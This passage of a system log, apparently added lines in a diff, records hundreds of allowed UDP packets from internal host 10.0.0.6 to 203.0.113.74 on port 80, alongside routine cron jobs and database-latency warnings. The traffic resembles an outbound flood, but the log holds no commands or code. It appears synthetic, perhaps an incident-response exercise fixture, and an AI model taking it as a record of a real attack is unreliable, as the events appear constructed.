DST=203.0.113.74 PROTO=UDP SPT=31756 DPT=80 +Aug 16 14:04:00 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=33147 DPT=80 +Aug 16 14:04:00 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=13887 DPT=80 +Aug 16 14:04:05 CRON[1949]: (root) CMD (command -v debian-sa1 > /dev/null && debian-sa1 1 1) +Aug 16 14:04:05 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=14503 DPT=80 +Aug 16 14:04:05 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=54751 DPT=80 +Aug 16 14:04:05 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=40994 DPT=80 +Aug 16 14:04:05 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=37785 DPT=80 +Aug 16 14:04:05 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=55466 DPT=80 +Aug 16 14:04:10 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=38885 DPT=80 +Aug 16 14:04:10 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=37621 DPT=80 +Aug 16 14:04:10 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=45802 DPT=80 +Aug 16 14:04:10 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=21658 DPT=80 +Aug 16 14:04:10 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=50105 DPT=80 +Aug 16 14:04:10 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=13494 DPT=80 +Aug 16 14:04:15 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=47617 DPT=80 +Aug 16 14:04:15 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=15407 DPT=80 +Aug 16 14:04:15 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=51487 DPT=80 +Aug 16 14:04:15 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=22671 DPT=80 +Aug 16 14:04:15 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=52781 DPT=80 +Aug 16 14:04:15 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=33038 DPT=80 +Aug 16 14:04:15 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=11353 DPT=80 +Aug 16 14:04:20 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=15787 DPT=80 +Aug 16 14:04:20 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=21018 DPT=80 +Aug 16 14:04:20 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=26420 DPT=80 +Aug 16 14:04:20 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=52992 DPT=80 +Aug 16 14:04:20 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=43135 DPT=80 +Aug 16 14:04:25 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=60274 DPT=80 +Aug 16 14:04:25 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=36087 DPT=80 +Aug 16 14:04:25 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=13897 DPT=80 +Aug 16 14:04:25 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=61243 DPT=80 +Aug 16 14:04:25 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=28093 DPT=80 +Aug 16 14:04:25 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=49557 DPT=80 +Aug 16 14:04:30 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=21745 DPT=80 +Aug 16 14:04:30 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=18136 DPT=80 +Aug 16 14:04:30 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=17541 DPT=80 +Aug 16 14:04:30 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=42393 DPT=80 +Aug 16 14:04:30 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=25970 DPT=80 +Aug 16 14:04:35 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=61696 DPT=80 +Aug 16 14:04:35 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=10701 DPT=80 +Aug 16 14:04:35 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=27781 DPT=80 +Aug 16 14:04:35 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=24808 DPT=80 +Aug 16 14:04:35 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=58043 DPT=80 +Aug 16 14:04:35 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=41783 DPT=80 +Aug 16 14:04:35 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=43456 DPT=80 +Aug 16 14:04:35 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=64513 DPT=80 +Aug 16 14:04:40 api-server[9876]: WARNING: High latency detected for upstream service user-database. +Aug 16 14:04:40 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=20149 DPT=80 +Aug 16 14:04:40 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=43190 DPT=80 +Aug 16 14:04:40 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=62731 DPT=80 +Aug 16 14:04:40 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=37577 DPT=80 +Aug 16 14:04:40 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=63529 DPT=80 +Aug 16 14:04:40 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=51903 DPT=80 +Aug 16 14:04:40 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=59282 DPT=80 +Aug 16 14:04:40 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=13513 DPT=80 +Aug 16 14:04:45 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=31036 DPT=80 +Aug 16 14:04:45 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=63308 DPT=80 +Aug 16 14:04:45 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=28781 DPT=80 +Aug 16 14:04:45 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=25642 DPT=80 +Aug 16 14:04:45 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=23328 DPT=80 +Aug 16 14:04:45 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=53263 DPT=80 +Aug 16 14:04:45 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=52633 DPT=80 +Aug 16 14:04:45 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=44227 DPT=80 +Aug 16 14:04:50 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=24965 DPT=80 +Aug 16 14:04:50 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=63668 DPT=80 +Aug 16 14:04:50 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=52807 DPT=80 +Aug 16 14:04:50 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=43715 DPT=80 +Aug 16 14:04:50 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=51349 DPT=80 +Aug 16 14:04:50 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=64903 DPT=80 +Aug 16 14:04:50 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=19230 DPT=80 +Aug 16 14:04:50 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=43565 DPT=80 +Aug 16 14:04:55 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=34423 DPT=80 +Aug 16 14:04:55 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=14414 DPT=80 +Aug 16 14:04:55 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=32182 DPT=80 +Aug 16 14:04:55 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=62117 DPT=80 +Aug 16 14:04:55 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=47900 DPT=80 +Aug 16 14:04:55 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=31869 DPT=80 +Aug 16 14:04:55 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=49584 DPT=80 +Aug 16 14:04:55 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=22631 DPT=80 +Aug 16 14:05:00 systemd[1]: Starting Clean php session files... +Aug 16 14:05:00 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=44601 DPT=80 +Aug 16 14:05:00 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=11417 DPT=80 +Aug 16 14:05:00 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=11269 DPT=80 +Aug 16 14:05:00 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=17315 DPT=80 +Aug 16 14:05:00 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=28320 DPT=80 +Aug 16 14:05:00 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=42476 DPT=80 +Aug 16 14:05:00 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=25117 DPT=80 +Aug 16 14:05:00 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=11198 DPT=80 +Aug 16 14:05:00 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=15251 DPT=80 +Aug 16 14:05:05 CRON[1961]: (root) CMD (command -v debian-sa1 > /dev/null && debian-sa1 1 1) +Aug 16 14:05:05 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=58414 DPT=80 +Aug 16 14:05:05 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=30199 DPT=80 +Aug 16 14:05:05 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=26357 DPT=80 +Aug 16 14:05:05 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=41395 DPT=80 +Aug 16 14:05:05 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=53382 DPT=80 +Aug 16 14:05:05 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=47606 DPT=80 +Aug 16 14:05:05 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=26389 DPT=80 +Aug 16 14:05:05 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=23259 DPT=80 +Aug 16 14:05:10 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=46364 DPT=80 +Aug 16 14:05:10 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=38460 DPT=80 +Aug 16 14:05:10 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=38900 DPT=80 +Aug 16 14:05:10 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=50444 DPT=80 +Aug 16 14:05:10 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=40617 DPT=80 +Aug 16 14:05:10 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=42897 DPT=80 +Aug 16 14:05:10 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=24006 DPT=80 +Aug 16 14:05:10 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=43189 DPT=80 +Aug 16 14:05:10 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=36220 DPT=80 +Aug 16 14:05:15 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=62617 DPT=80 +Aug 16 14:05:15 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=22701 DPT=80 +Aug 16 14:05:15 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=28427 DPT=80 +Aug 16 14:05:15 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=58369 DPT=80 +Aug 16 14:05:15 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=12193 DPT=80 +Aug 16 14:05:15 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=41772 DPT=80 +Aug 16 14:05:15 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=31757 DPT=80 +Aug 16 14:05:20 api-server[9876]: WARNING: High latency detected for upstream service user-database. +Aug 16 14:05:20 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=25470 DPT=80 +Aug 16 14:05:20 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=41161 DPT=80 +Aug 16 14:05:20 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=52332 DPT=80 +Aug 16 14:05:20 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=15789 DPT=80 +Aug 16 14:05:20 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=27887 DPT=80 +Aug 16 14:05:25 webapp-db[1234]: LOG: checkpoint starting: time +Aug 16 14:05:25 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=53301 DPT=80 +Aug 16 14:05:25 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=64496 DPT=80 +Aug 16 14:05:25 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=42064 DPT=80 +Aug 16 14:05:25 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=39855 DPT=80 +Aug 16 14:05:25 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=45408 DPT=80 +Aug 16 14:05:25 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=10798 DPT=80 +Aug 16 14:05:25 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=18066 DPT=80 +Aug 16 14:05:30 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=26683 DPT=80 +Aug 16 14:05:30 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=35266 DPT=80 +Aug 16 14:05:30 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=17998 DPT=80 +Aug 16 14:05:30 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=48740 DPT=80 +Aug 16 14:05:30 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=32244 DPT=80 +Aug 16 14:05:35 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=28417 DPT=80 +Aug 16 14:05:35 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=35088 DPT=80 +Aug 16 14:05:35 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=12812 DPT=80 +Aug 16 14:05:35 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=38106 DPT=80 +Aug 16 14:05:35 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=59737 DPT=80 +Aug 16 14:05:35 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=56567 DPT=80 +Aug 16 14:05:40 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=31893 DPT=80 +Aug 16 14:05:40 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=32341 DPT=80 +Aug 16 14:05:40 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=23399 DPT=80 +Aug 16 14:05:40 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=28001 DPT=80 +Aug 16 14:05:40 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=61586 DPT=80 +Aug 16 14:05:40 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=37045 DPT=80 +Aug 16 14:05:45 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=27651 DPT=80 +Aug 16 14:05:45 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=12372 DPT=80 +Aug 16 14:05:45 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=42637 DPT=80 +Aug 16 14:05:45 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=39305 DPT=80 +Aug 16 14:05:45 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=58361 DPT=80 +Aug 16 14:05:45 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=23925 DPT=80 +Aug 16 14:05:45 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=62567 DPT=80 +Aug 16 14:05:45 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=64157 DPT=80 +Aug 16 14:05:45 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=49279 DPT=80 +Aug 16 14:05:50 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=39413 DPT=80 +Aug 16 14:05:50 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=42485 DPT=80 +Aug 16 14:05:50 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=63774 DPT=80 +Aug 16 14:05:50 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=47795 DPT=80 +Aug 16 14:05:50 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=16430 DPT=80 +Aug 16 14:05:55 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=36495 DPT=80 +Aug 16 14:05:55 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=57892 DPT=80 +Aug 16 14:05:55 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=41923 DPT=80 +Aug 16 14:05:55 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=13735 DPT=80 +Aug 16 14:05:55 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=52352 DPT=80 +Aug 16 14:05:55 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=51505 DPT=80 +Aug 16 14:05:55 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=58187 DPT=80 +Aug 16 14:05:55 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=62611 DPT=80 +Aug 16 14:05:55 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=28540 DPT=80 +Aug 16 14:06:00 api-server[9876]: WARNING: High latency detected for upstream service user-database. +Aug 16 14:06:00 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=40686 DPT=80 +Aug 16 14:06:00 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=42960 DPT=80 +Aug 16 14:06:00 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=26656 DPT=80 +Aug 16 14:06:00 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=62075 DPT=80 +Aug 16 14:06:00 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=28255 DPT=80 +Aug 16 14:06:00 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=43131 DPT=80 +Aug 16 14:06:00 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=13040 DPT=80 +Aug 16 14:06:05 CRON[1973]: (root) CMD (command -v debian-sa1 > /dev/null && debian-sa1 1 1) +Aug 16 14:06:05 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=59884 DPT=80 +Aug 16 14:06:05 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=11410 DPT=80 +Aug 16 14:06:05 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=24998 DPT=80 +Aug 16 14:06:05 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=26575 DPT=80 +Aug 16 14:06:05 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=61981 DPT=80 +Aug 16 14:06:05 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=56011 DPT=80 +Aug 16 14:06:10 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=28262 DPT=80 +Aug 16 14:06:10 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=35441 DPT=80 +Aug 16 14:06:10 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=57989 DPT=80 +Aug 16 14:06:10 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=16881 DPT=80 +Aug 16 14:06:10 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=38582 DPT=80 +Aug 16 14:06:10 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=44223 DPT=80 +Aug 16 14:06:10 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=28709 DPT=80 +Aug 16 14:06:10 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=32649 DPT=80 +Aug 16 14:06:15 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=44416 DPT=80 +Aug 16 14:06:15 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=49850 DPT=80 +Aug 16 14:06:15 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=11948 